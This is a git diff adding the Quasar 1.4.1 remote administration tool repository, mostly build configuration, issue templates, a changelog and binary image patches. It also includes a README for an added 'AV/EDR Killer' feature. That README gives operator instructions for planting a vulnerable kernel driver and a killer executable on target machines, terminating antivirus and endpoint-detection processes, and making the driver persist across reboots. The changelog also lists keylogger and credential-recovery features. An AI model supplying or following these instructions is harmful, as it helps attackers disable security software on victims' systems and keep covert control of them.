zaLCxo%t&KS%9xX~o|Uaol=cq0NW)3RMut9QAY`DJ0j}NKv`RyIOo#dUeLOMXGw+Lt zahfE9Q96Kzx81W>A3ohEL+#W+P4@U}!Q5MfVW)%_9lD3Ox4~kcrUfn(Etg?DdB{&=Ap?QlJ|xvLo8VO_&Q@b7*v=bvJ}$CS!7MyGmjOZhL*wfW~P z#7gkf4_RG5`vl9L}w8Q_UXTJywvEFJ} z2>w4K5TbKfPc!7ZOB3wzAw9zCO7Sxi>@U8!Q-$?#_m1ske$L#B7rZaMVcsXbHBA63 zT>o$QzyF`~Fa!UPfslcU45(JpOV$CfwRHi?wRVJO3lBHOWkzZfbPVD5x*UgG{KF8x xM^+bGnHdQU+8_TAkgqqw{l7}$Hc#>u+x$+f`1`_hi&j{Odo58(g+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/.gitattributes b/Quasar-1.4.1/.gitattributes new file mode 100755 index 0000000..412eeda --- /dev/null +++ b/Quasar-1.4.1/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/Quasar-1.4.1/.github/ISSUE_TEMPLATE/bug_report.yaml b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/bug_report.yaml new file mode 100755 index 0000000..8163cd2 --- /dev/null +++ b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -0,0 +1,77 @@ +name: Bug report +description: Create a bug or crash report +labels: ["bug"] +body: + - type: input + attributes: + label: Quasar version + placeholder: 1.4.0 or commit-id + validations: + required: true + - type: input + attributes: + label: Server installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Server operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: input + attributes: + label: Client installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Client operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: dropdown + attributes: + label: Build configuration + options: + - Debug + - Release + validations: + required: true + - type: textarea + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + attributes: + label: How to reproduce + description: The steps on how to reproduce the bug. + validations: + required: true + - type: textarea + attributes: + label: Expected behavior + description: Describe the result that you expect to get after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Actual behavior + description: Describe the actual behavior that you observed after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Any other information that may help us fix the issue goes here (e.g. screenshots). + diff --git a/Quasar-1.4.1/.github/ISSUE_TEMPLATE/feature_request.yaml b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100755 index 0000000..e56dad8 --- /dev/null +++ b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,23 @@ +name: Feature request +description: Suggest a new feature +labels: ["enhancement"] +body: + - type: textarea + attributes: + label: Problem description + description: A clear and concise description of what the problem is. + placeholder: | + Example: "I'm always frustrated when [...]", or "I often need to [...]" + validations: + required: true + - type: textarea + attributes: + label: Proposal + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Add any other context or screenshots about the feature request here. + diff --git a/Quasar-1.4.1/.gitignore b/Quasar-1.4.1/.gitignore new file mode 100755 index 0000000..69ef28b --- /dev/null +++ b/Quasar-1.4.1/.gitignore @@ -0,0 +1,204 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Visual Studio 2015 cache/options directory +.vs/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config + +# Windows Azure Build Output +csx/ +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt \ No newline at end of file diff --git a/Quasar-1.4.1/AVEDR_KILLER_README.txt b/Quasar-1.4.1/AVEDR_KILLER_README.txt new file mode 100755 index 0000000..f49e734 --- /dev/null +++ b/Quasar-1.4.1/AVEDR_KILLER_README.txt @@ -0,0 +1,74 @@ +AV/EDR KILLER FEATURE +===================== + +OVERVIEW: +--------- +The AV/EDR Killer feature allows you to disable antivirus and endpoint detection software +on target systems using a vulnerable kernel driver exploit. + +HOW IT WORKS: +------------- +1. A vulnerable signed kernel driver (vulndriver.sys) is deployed to the target +2. The driver is registered as a Windows kernel service +3. Killer.exe uses the driver to terminate AV/EDR processes from kernel mode +4. Optional: Make the driver persistent across reboots + +USAGE: +------ +1. Right-click on a connected client in Quasar +2. Navigate to: Monitoring > AV/EDR Killer +3. The AV/EDR Killer window will open with 4 options: + + a) CHECK DRIVER - Verifies if the vulnerable driver is installed and running + + b) INSTALL DRIVER - Deploys and registers the vulnerable driver + - Saves vulndriver.sys to a random temp directory + - Registers it as "QuasarDriver" kernel service + - Starts the driver service + - Requires administrator privileges on target + + c) KILL AV/EDR - Executes the AV/EDR termination process + - Deploys Killer.exe to random temp directory + - Uses the vulnerable driver to kill security processes + - Shows real-time output in the log window + - Automatically cleans up after execution + + d) MAKE PERSISTENT - Configures driver to auto-start on boot + - Modifies registry to enable automatic startup + - Driver will load on every system boot + +COMMAND OUTPUT WINDOW: +---------------------- +The black console-style window at the bottom shows real-time output from the target: +- Green text = Normal output +- Red text = Errors +- All operations are logged with timestamps + +IMPORTANT NOTES: +---------------- +- This feature requires ADMINISTRATOR privileges on the target system +- The driver installation may trigger UAC prompts on the target +- AV/EDR termination is a HIGH-RISK operation that will trigger alerts +- Use responsibly and only on systems you have authorization to access +- The driver and killer are automatically deployed from the Resources folder + +FILES INVOLVED: +--------------- +- vulndriver.sys: Vulnerable kernel driver (38 KB) +- Killer.exe: AV/EDR termination tool (205 KB) +- Both files are embedded in Quasar.exe and deployed on-demand + +TECHNICAL DETAILS: +------------------ +- Driver service name: QuasarDriver +- Deployment location: Random subdirectory in %TEMP% +- Driver type: Kernel mode driver +- Communication: Real-time output streaming via protobuf messages +- Cleanup: Automatic removal of Killer.exe after execution + +SECURITY CONSIDERATIONS: +------------------------ +- This is an offensive security tool - use ethically +- May be detected by advanced EDR solutions +- Driver signing may be flagged by some security software +- Always test in controlled environments first diff --git a/Quasar-1.4.1/CHANGELOG.md b/Quasar-1.4.1/CHANGELOG.md new file mode 100755 index 0000000..e0871f9 --- /dev/null +++ b/Quasar-1.4.1/CHANGELOG.md @@ -0,0 +1,104 @@ +# Quasar Changelog + +## Quasar v1.4.1 [12.03.2023] +* Added missing WOW64 subsystem autostart locations +* Fixed file transfers of files larger than 2 GB +* Fixed file transfers of empty files +* Fixed browser credentials recovery +* Fixed race condition on shutdown +* Fixed IP Geolocation +* Fixed opening remote shell sessions on non-system drives +* Fixed incorrectly set file attributes on client installations +* Fixed sorting of listview columns with numbers +* Updated dependencies + +## Quasar v1.4.0 [05.06.2020] +* **Changed target framework to .NET Framework 4.5.2** +* **Changed license to MIT** +* Changed message serializer to Protobuf +* Changed versioning scheme to Semantic Versioning (https://semver.org/) +* Added attended/unattended client modes +* Added TLS 1.2 as transport encryption +* Added UTC timestamps to log files +* Added dependencies as NuGet packages +* Updated dependencies +* Updated message processing in client and server +* Updated mouse and keyboard input to SendInput API +* Fixed file transfer vulnerbilities ([#623](https://github.com/quasar/Quasar/issues/623)) +* Lots of under the hood changes for an upcoming plugin system + +## Quasar v1.3.0.0 [28.09.2016] +* Added Registry Editor +* Added Remote Webcam +* Added Windows DPI scaling support +* Added IPv6 support +* Added ability to elevate Client +* Added full Unicode support +* Added Remote TCP Connections Viewer +* Added option to hide sub directory of installation path +* Improved cryptography +* Fixed XSS vulnerability in Keylogger Logs +* Fixed Remote Messagebox having wrong icon +* Fixed FileZilla Recovery base64 decoding +* Fixed UPnP discovery freezing in some cases +* Fixed IP Geolocation +* Fixed Client loses Administrator privileges on restart +* Some minor improvements + +## Quasar v1.2.0.0 [12.10.2015] +* Added Client restart on unhandled exceptions +* Added additional settings to Keylogger (set/hide log-directory) +* Added encrypted Keylogger logs +* Improved Client Builder +* Improved System Information +* Improved File Manager behaviour when loading directories with many files +* Improved Remote Shell (scrolls now correctly to the bottom when new text received) +* Improved compatibility with many connected clients (1k+) +* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES) +* Fixed Client not setting file attribute correctly on startup +* Fixed Remote Desktop lagging with mouse input and maximized window +* Some minor improvements + +## Quasar v1.1.0.0 [30.08.2015] +* **Changed Target Framework to .NET Framework 4.0 Client Profile** +* Added deletion of ZoneIdentifier file when installing +* Improved Client installation error handling +* Improved Client HardwareID generation +* Improved Client-Server handshake +* Support detection of multiple AVs, Firewalls, GPUs, CPUs +* Fixed Builder Profile not saving correctly Installation Subfolder +* Fixed Builder not validating input correctly +* Fixed Builder creating Client with empty list of hosts +* Fixed Settings Password not hashed when pressing 'Start listening' +* Fixed Reverse Proxy using always wrong port +* Fixed Server throwing NullReferenceException when closing and no Clients connected +* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days +* Fixed Client installation path empty on Windows XP 32-bit in some scenarios +* Fixed Client installation to system directory failing on 64-bit OS +* Fixed Client uninstallation not working when file is marked as read-only +* Fixed Client crashing after update on first start in some scenarios +* Fixed Client crashing when list of hosts is empty (Client exits now) +* Fixed Client not reconnecting when Server uses different password +* Fixed Client registry access +* Removed Statistics window, will be remade in a later version + +## Quasar v1.0.0.0 [22.08.2015] +* **xRAT is now Quasar** +* Added Password Recovery (Common Browsers and FTP Clients) +* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed) + * Client Builder works also on Linux/Mono +* Added ability to upload batch files +* Added Client support for multiple hosts +* Added maximum simultaneous file downloads/uploads (current max: 2) +* Fixed Remote Shell redirecting of standard output not working after redirecting error output +* Fixed Remote Shell not displaying unicode characters correctly +* Fixed Remote Desktop crash when changing screen resolution +* Fixed File Manager would refresh directory when double-clicking files +* Improved support for Windows 8 and above +* Improved Remote Desktop (Speed, Full Mouse and Keyboard support) +* Improved File Manager (Show name of drive, current path, upload files) +* Improved UPnP support +* Improved Geo IP support +* Improved Builder UI +* Switched from Protobuff to NetSerializer +* Lots of under the hood changes for stability and performance diff --git a/Quasar-1.4.1/CONTRIBUTING.md b/Quasar-1.4.1/CONTRIBUTING.md new file mode 100755 index 0000000..5ccd286 --- /dev/null +++ b/Quasar-1.4.1/CONTRIBUTING.md @@ -0,0 +1,19 @@ +# Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new pull request (PR) + +## Guidelines for pull requests: + +1. Respect the coding style of Quasar. +2. Create a new branch for each PR. +3. Single feature or bug-fix per PR. +4. Make single commit per PR. +5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. +6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead. +7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing. + +In short: The easier the code review is, the better the chance your pull request will get accepted. diff --git a/Quasar-1.4.1/Images/remote-desktop.png b/Quasar-1.4.1/Images/remote-desktop.png new file mode 100755 index 0000000000000000000000000000000000000000..e8bb4dc1ed1a2ee5f7b71847c1fd5ac882e4404c GIT binary patch literal 393429 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 